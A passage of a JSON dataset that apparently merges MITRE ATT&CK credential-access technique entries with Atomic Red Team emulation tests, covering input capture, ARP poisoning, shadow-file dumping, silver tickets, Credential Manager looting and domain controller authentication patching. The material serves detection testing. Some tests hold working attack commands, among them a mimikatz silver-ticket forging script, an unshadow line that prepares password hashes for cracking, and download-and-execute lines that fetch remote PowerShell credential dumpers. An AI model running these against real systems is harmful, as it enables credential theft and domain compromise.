- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Access to files"
- ]
- },
- "atomic_tests": []
- },
- "T1056": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "John Lambert, Microsoft Threat Intelligence Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:48.323Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056",
- "url": "https://attack.mitre.org/techniques/T1056"
- },
- {
- "external_id": "CAPEC-569",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/569.html"
- },
- {
- "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
- "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
- "source_name": "Adventures of a Keystroke"
- }
- ],
- "modified": "2022-03-08T21:05:20.658Z",
- "name": "Input Capture",
- "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Metadata",
- "Process: Process Creation",
- "File: File Modification",
- "Windows Registry: Windows Registry Key Modification",
- "Process: OS API Execution",
- "Driver: Driver Load"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "root",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1557.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
- "type": "attack-pattern",
- "created": "2020-10-15T12:05:58.755Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1557.002",
- "url": "https://attack.mitre.org/techniques/T1557/002"
- },
- {
- "source_name": "RFC826 ARP",
- "url": "https://tools.ietf.org/html/rfc826",
- "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020."
- },
- {
- "source_name": "Sans ARP Spoofing Aug 2003",
- "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411",
- "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020."
- },
- {
- "source_name": "Cylance Cleaver",
- "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
- "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
- }
- ],
- "modified": "2021-07-28T01:04:39.141Z",
- "name": "ARP Cache Poisoning",
- "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1003.008": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4",
- "type": "attack-pattern",
- "created": "2020-02-11T18:46:56.263Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "url": "https://attack.mitre.org/techniques/T1003/008",
- "external_id": "T1003.008",
- "source_name": "mitre-attack"
- },
- {
- "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
- "url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html",
- "source_name": "Linux Password and Shadow File Formats"
- },
- {
- "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
- "url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/",
- "source_name": "nixCraft - John the Ripper"
- }
- ],
- "modified": "2020-03-20T15:56:55.022Z",
- "name": "OS Credential Dumping: /etc/passwd and /etc/shadow",
- "description": "Adversaries may attempt to dump the contents of /etc/passwd
and /etc/shadow
to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd
and /etc/shadow
to store user account information including password hashes in /etc/shadow
. By default, /etc/shadow
is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db
\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd
and /etc/shadow
, alerting on the pid, process name, and arguments of such programs.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "identifier": "T1003.008"
- },
- "atomic_tests": []
- },
- "T1558.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27",
- "type": "attack-pattern",
- "created": "2020-02-11T19:14:48.309Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1558.002",
- "url": "https://attack.mitre.org/techniques/T1558/002"
- },
- {
- "source_name": "ADSecurity Silver Tickets",
- "url": "https://adsecurity.org/?p=2011",
- "description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020."
- },
- {
- "url": "https://adsecurity.org/?p=1515",
- "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
- "source_name": "ADSecurity Detecting Forged Tickets"
- },
- {
- "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
- "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
- "source_name": "Medium Detecting Attempts to Steal Passwords from Memory"
- }
- ],
- "modified": "2020-03-25T21:46:46.831Z",
- "name": "Steal or Forge Kerberos Tickets: Silver Ticket",
- "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1558.002"
- },
- "atomic_tests": [
- {
- "name": "Crafting Active Directory silver tickets with mimikatz",
- "auto_generated_guid": "385e59aa-113e-4711-84d9-f637aef01f2c",
- "description": "Once the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.\nThe generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain_sid": {
- "description": "SID of the targeted domain, if you keep default it will automatically get the current domain SID",
- "type": "string",
- "default": "S-1-5-21-DEFAULT"
- },
- "domain": {
- "description": "Targeted Active Directory domain FQDN",
- "type": "string",
- "default": "%userdnsdomain%"
- },
- "account": {
- "description": "Account to impersonate",
- "type": "string",
- "default": "silverticketfakeuser"
- },
- "target": {
- "description": "System you want to target (Default will be logon server)",
- "type": "string",
- "default": "%logonserver:\\\\=%"
- },
- "service_aes256_key": {
- "description": "AES256 key (you will need to set to match your service key for your target)",
- "type": "string",
- "default": "b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9"
- },
- "mimikatz_path": {
- "description": "Mimikatz windows executable",
- "type": "path",
- "default": "$env:TEMP\\mimikatz\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "Remove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to silver.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\silver.txt 2>&1 (\n echo Purge existing tickets and create silver ticket:\n klist purge\n #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\" \"exit\"\n\n echo.\n echo executing:schtasks /query /S #{target}.#{domain}\n schtasks /query /S #{target}.#{domain}\n \n echo.\n echo Tickets after requesting schtasks:\n klist\n\n echo.\n echo End of Silver Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Silver Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n"
- }
- }
- ]
- },
- "T1555.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Bernaldo Penas Antelo",
- "Mugdha Peter Bansode"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
- "created": "2020-11-23T15:35:53.793Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1555.004",
- "url": "https://attack.mitre.org/techniques/T1555/004"
- },
- {
- "source_name": "Malwarebytes The Windows Vault",
- "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/",
- "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020."
- },
- {
- "source_name": "Delpy Mimikatz Crendential Manager",
- "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials",
- "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020."
- },
- {
- "source_name": "Microsoft Credential Locker",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN",
- "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020."
- },
- {
- "source_name": "Microsoft Credential Manager store",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store",
- "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020."
- },
- {
- "source_name": "Microsoft CredEnumerate",
- "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea",
- "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020."
- },
- {
- "source_name": "passcape Windows Vault",
- "url": "https://www.passcape.com/windows_password_recovery_vault_explorer",
- "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted .vcrd
files, located under %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\
. The encryption key can be found in a file named Policy.vpol
, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe
is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA
to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",
- "modified": "2022-05-20T17:36:17.296Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Credentials from Password Stores: Windows Credential Manager",
- "x_mitre_detection": "Monitor process and command-line parameters of vaultcmd.exe
for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\u201cWindows Credentials\u201d
).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as CredEnumerateA
that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\
, for suspicious activity.(Citation: Malwarebytes The Windows Vault)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Access",
- "Process: Process Creation",
- "Process: OS API Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1555.004"
- },
- "atomic_tests": [
- {
- "name": "Access Saved Credentials via VaultCmd",
- "auto_generated_guid": "9c2dd36d-5c8b-4b29-8d72-a11b0d5d7439",
- "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe\nCredential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos\nhttps://blog.malwarebytes.com/101/2016/01/the-windows-vaults/\nhttps://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "vaultcmd /listcreds:\"Windows Credentials\"\n"
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - Invoke-WCMDump",
- "auto_generated_guid": "fa714db1-63dd-479e-a58e-7b2b52ca5997",
- "description": "Loot local Credentials - Invoke-WCMDump technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')\nInvoke-WCMDump",
- "name": "powershell"
- }
- }
- ]
- },
- "T1556.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605",
- "type": "attack-pattern",
- "created": "2020-02-11T19:05:02.399Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.001",
- "url": "https://attack.mitre.org/techniques/T1556/001"
- },
- {
- "source_name": "Dell Skeleton",
- "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
- "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
- "source_name": "TechNet Audit Policy"
- }
- ],
- "modified": "2021-04-20T20:10:26.613Z",
- "name": "Domain Controller Authentication",
- "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for calls to OpenProcess
that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Logon Session: Logon Session Creation",
- "Process: Process Access",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1556.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48",
- "type": "attack-pattern",
- "created": "2022-01-13T20:02:28.349Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.005",
- "url": "https://attack.mitre.org/techniques/T1556/005"
- },
- {
- "source_name": "store_pwd_rev_enc",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption",
- "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022."
- },
- {
- "source_name": "how_pwd_rev_enc_1",
- "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html",
- "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021."
- },
- {
- "source_name": "how_pwd_rev_enc_2",
- "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html",
- "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021."
- },
- {
- "source_name": "dump_pwd_dcsync",
- "url": "https://adsecurity.org/?p=2053",
- "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."
- }
- ],
- "modified": "2022-02-10T21:35:25.377Z",
- "name": "Reversible Encryption",
- "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption
property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP
) from the Active Directory user-structure userParameters
\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY
) also from userParameters
\n3. Global LSA secret (G$MSRADIUSCHAPKEY
)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL
)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true
.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption
. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true
or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser
and Set-ADAccountControl
, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Metadata",
- "Active Directory: Active Directory Object Modification",
- "Command: Command Execution",
- "Script: Script Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1111": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
